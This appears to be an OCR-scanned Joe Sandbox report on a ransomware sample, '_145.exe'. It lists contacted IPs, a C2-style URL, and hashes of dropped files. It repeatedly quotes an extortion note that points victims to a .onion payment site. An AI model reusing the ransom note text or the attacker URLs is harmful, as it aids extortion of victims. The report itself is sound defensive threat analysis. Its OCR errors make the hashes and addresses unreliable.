3009346738.0000000004778000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2091710763.00000000047
78000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2097
131637.0000000004778000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2129239269.000000000477800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2168018595.0000000
004778000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
3003938424.0000000004778000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2451530052.00000000047
78000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2774
775573.0000000004778000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2602497993.000000000477800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2797784667.0000000
004778000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2110584513.0000000004778000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2092082325.00000000047
78000.00000004.00000020.00020000.0000000
0.sdmp

_145.exe, 00000000.00000003.2119295159.0 false « Avira URL Cloud: malware

000000000C4B000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2115765687.0000000000C4B000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2105465625.0000000000C4B00
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2113220234.0000000
000C4B000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2107298089.0000000000C4B000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2122539513.0000000000C
4B000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2126
414835.0000000000C4B000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2108719872.0000000000C4B00
0.00000004.00000020.00020000.00000000.sdmp

Reputation

high

unknown
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Name

http:1/91.215.85.142/RS

http://91.215.85.142/QWEwqdsvsf/ap.phpj

World Map of Contacted IPs

Copyright Joe Security LLC 2023

Source Malicious  Antivirus Detection

_145.exe, 00000000.00000003.2118543111.0 false « Avira URL Cloud: malware
000000000C71000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2107298089.0000000000C71000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2119295159.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2115765687.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2113220234.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2108719872.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2105
465625.0000000000C71000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2122539513.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2126414835.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp

_145.exe, 00000000.00000003.2510362600.0 false « Avira URL Cloud: malware
0000000046D9000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2834278123.00000000046D8000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2693658563.00000000046D800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2255350664.0000000
0046D9000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2627821845.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2111946101.00000000046
D9000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2623
524950.00000000046D9000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2219923211.00000000046D900
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2769821019.0000000
0046D8000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2277539266.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2639420389.00000000046
D8000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2754
010913.00000000046D8000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2708633139.00000000046D800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2776003689.0000000
0046D8000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2583352269.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2503519816.00000000046
D9000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2505
405064.00000000046D9000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2766609044.00000000046D800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2280941934.0000000
0046D9000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2593614953.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2762115723.00000000046
D8000.00000004.00000020.00020000.0000000
0.sdmp

Reputation

unknown

unknown
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] No. of IPs < 25%
[ 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
B 75% < No. of IPs

Public IPs

IP Domain Country Flag ASN ASN Name Malicious
173.231.16.77 api4.ipify.org United States S 18450 WEBNXUS false
91.215.85.142 unknown Russian Federation - 34665 PINDC-ASRU true

Private
P
192.168.2.2

192.168.2.1
192.168.2.3

General Information

Joe Sandbox Version: 38.0.0 Ammolite

Analysis ID: 1337854

Start date and time: 2023-11-06 19:43:30 +01:00
Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 9m 45s

Hypervisor based Inspection enabled: false

Report type: light

Cookbook file name: default.jos

Analysis system description: Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip
23.01

Number of analysed new started processes 21
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o o o o

Number of injected processes analysed:

Technologies: « HCA enabled
o EGA enabled
« AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout
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Sample file name: _145.exe

Detection: MAL

Classification: mal100.rans.spyw.evad.winEXE@16/1026@1/5
EGA Information: Failed

HCA Information: « Successful, ratio: 100%

« Number of executed functions: 0
« Number of non-executed functions: 0

Cookbook Comments: « Found application associated with file extension: .exe
« Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Created / dropped Files have been reduced to 100

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, VSSVC.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, t oo many NtAllocateVirtualMemory calls found.

Report size getting too big, t oo many NtCreateFile calls found.

Report size getting too big, t oo many NtDeviceloControlFile calls found.

Report size getting too big, t oo many NtOpenFile calls found.

Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryDirectoryFile calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

Report size getting too big, t oo many NtQueryVolumelnformationFile calls found.

Report size getting too big, t oo many NtReadFile calls found.

Report size getting too big, t oo many NtSetInformationFile calls found.

Report size getting too big, t oo many NtWriteFile calls found.

VT rate limit hit for: _145.exe

Simulations

Behavior and APIs

Time Type Description

19:44:28 API Interceptor 6x Sleep call for process: _145.exe modified

19:45:05 Autostart Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.t
xt

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context
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Created / dropped Files

(copy)
Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\_145.exe

COM executable for DOS

dropped

14264

7.986399184644429

false

384:51BROOat0SIkIR1KTKOQPPJEKpVCVCJrl/+Ff:s1TU7PMH;j7yal9
9B4D3F7A4BEB3330D49F16FC03F50A09
C6002C89FFFE4E2B8C7C4432BB81E766830980B7
295A14E53793575F3AF8CB3942C87E5D77703FOBDFBF59D4CCD784B82E45D237

388024BA6B6AA54543A2C2FCAB217EF24FDEEA9BCEEBSED2622411F4C530AB8621096FC833030F254B907B272BAABBD598B128610AD71D4A9292E3972A483A%
0

false
low

$o= |AH.N....e. WG4 O oo €. ifB@.... MTY.Ue.~_)....d%.6H.../(~.<...y.3.}.Bi> . QW.I.W9...C.n{.g.mGkc>..En{.).4 k.s...0.]A.N}.Z.G}.." L
HPL X Dot /K (e OU ) (e ) DR [ 2o LQV. 41,902, ){6U.=<a*.. H+%g".......N[/..WItT....W..].h.G&....$..s.C...<nh.LpL.z..$.... #.3S..
jdoleee{ B~ X+, 5WM5.1. D@.8.N.GD....Q.. 1. [)..}.5...=& N..=b..7..2"..]$0l....."b...0...@.... 2W...F....sZ7O.H].y. V.2 .RCZXN.....2. K....BX..+/...

%. Lo AN~ H. X T 7OX.0,..D...g?K@...2...Y .o M 8.2 LQAE/GALAP. . AN |.E.... V..o #.....).9. V5. R R...Bv....&.de.5... YILLA#.@....B
@...0...FI.F.6?.#Ha..S...dJ.i.h.* g.aN..7.5...b....F.B.Z...A\U...G....Q@...kqO.:U... 2X.1.6n....3..g.a0p...3.rEF.<." ;a. L. H.\n.R.....

C:\$Recycle.Bin\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\HOW TO BACK FILES.txt @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

true

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei
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C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7BI990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei
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C:\$WinREAgent\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7BI990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDCI93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\EFI\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\EFI\Microsoft\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\EFI\Microsoft\Recovery\BCD g &)
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Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

OpenPGP Public Key

dropped

20588

7.99071401221645

true
384:5YLABRwGhh/t62gf3UWihNugSwGIFOoWnoobApFnOWs10cVQG:GLAnYwZkupwGIFOWoo8D1spVj
D37E673D6DF46D933BA3E2417BFFA544

0974D3A5154415A62BFE644C2830349DBD7E1C63
305D15574B76CF25F6D6372378135E419370B936D73884294BB2234774411211
2205455FAFD37FOE8AF9C500F5D8F38864D178CCC28B876BA10F16551DD81241844FDB57C83998037830141B3EBC9156BD98FF548FCFE5397ACA7C7D90A563A
true

7T;.1..0.Q.e..lw.1.@.x..nKu. .$..R...A.n..BS.....i..Il..G+Y,WIL.G+n.:...r...CO";"...2.83@...... p.....%.&....]In..IcaHC.6.C.....4.2..r.<.-_.f,r..qa.S"T...o..L........ e m;..

...... M.}~ 0 9l\iz2 0 F 4 - Ve 20 o) L <~ . Rz +$G=.mB.NLS \L.y B.E.....?7a"6..qy.. X.4.Lf.- V.N.V..@L....G-.D....A<..\gRV6.'XV0.#.z.Mt...." L. 1#.
).0...9G.2..2.T.A.1.%0/...12yK.. K}.."1..u...U....d-...y..On.Iz&KL.t.?R LVE-.s._#UK\W...C..<Jt....j.G}~...eN[g. .B..V..ohY.W.Y..A. 8..T...s....§"0.....A...z.D...t~.p..(u..
.:e.Ahj.."Gzc.../s.&7..1.$.. ..)VX....*.L8.0v343...TP..p..V....<.JeD". L2W..L..}S1.. k....yB.p...ca...2..13v". U0 fLMES 2. %....c.4..V..M..i..&.. .AE..
1s.8..Zyv.p..sx...ral. h\.$... . X..~n28 y# XI(U..,*._..{..ZW.i0.G.?.z.Z"..L..~..Qagk.%.{ NN./ #....0..X.. .r.yttbM...q.u<..k..u....UIN...ISM..re.

C:\EFN\Microsoft\Recovery\BCD.LOG B@

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

32876

7.995317411824869

true
768:9tb+yRGsNscz43XESunJOmU+99+3MOYmBpBIUGUWNXBS:ayXEEJnlgOY+pBIDXG
B76BB2D6077762A9DE81E5D3DF2631E9
FDC92704E7B0756E6B8D5E753B090711F5CCC23B
EFA5E66C209404310D2123F9A0BCC8FE13516B70C7E7498CE33D10F6CA83763D

910873EC9F206C7CCCOEEDOF6B97CBAB6B58A9C4E7D465BA3CF1315AB96DA23620C1D34C4D8F78DF9925BFFFDC1C40DCO9EAFBF7CAA6FA6BAC5BA0402C0
3A7F

true

renGP.Ge X S 9
. Wy e 2T s HCh AL (Lr g = KA 20K P
’e..Q.z.KK.SP3.e..0.$...x.v..g?".0" oGBS 2. rOL..12x.LHL.... _ 0(.. W.3y@1......g..e.>S.+.}...D.M)8...d7..0
Jot ECE.8.W....}a.q {z.=|{A<...... V.R..... =#L# A2.@E...9S(..IT..~.>-Y.....W).[..€"..TO..b.9....d.~@....U3....i L kQ2..x);.HU9....|j.... X 2....<b..|
AD.J..Q+/ME..m.GC...a.{Y.(......&..d6.(+W.9.2a.........7..7.;.J-_#..)Q...0.N.WhE..9).R..0.TV#y8.aW%W.1... REJx.e..]Y6m.r..8..

..b.n.7..R%.a}...B8~1.+X....
.%.n.....N.sGk...D

C:\EFI\Microsoft\Recovery\HOW TO BACK FILES.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Users\user\Desktop\ 145.exe
data

dropped

1410

4.76384410394738

Encrypted: false

SSDEEP: 24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEISYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh

MD5: 7322334E0D24A4434F1B5D63CF177D95

SHA1: D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988

SHA-256: 229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

SHA-512: B3DB25F41950DC98BDCI3CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

Malicious: false

Preview: Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\HOW TO BACK FILES.txt

Process: C:\Users\user\Desktop\ 145.exe

File Type: data

Category: dropped
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Size (bytes): 1410
Entropy (8bit): 4.76384410394738

Encrypted: false

SSDEEP: 24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh

MD5: 7322334E0D24A4434F1B5D63CF177D95

SHAT: D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED 1B8988

SHA-256: 229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

SHA-512: B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

Malicious: false

Preview: Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con

dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\HOW TO BACK FILES.txt

Process: C:\Users\user\Desktop\ 145.exe
File Type: data

Category: dropped

Size (bytes): 1410

Entropy (8bit): 4.76384410394738

Encrypted: false

SSDEEP: 24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh

MD5: 7322334E0D24A4434F1B5D63CF177D95

SHAT: D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988

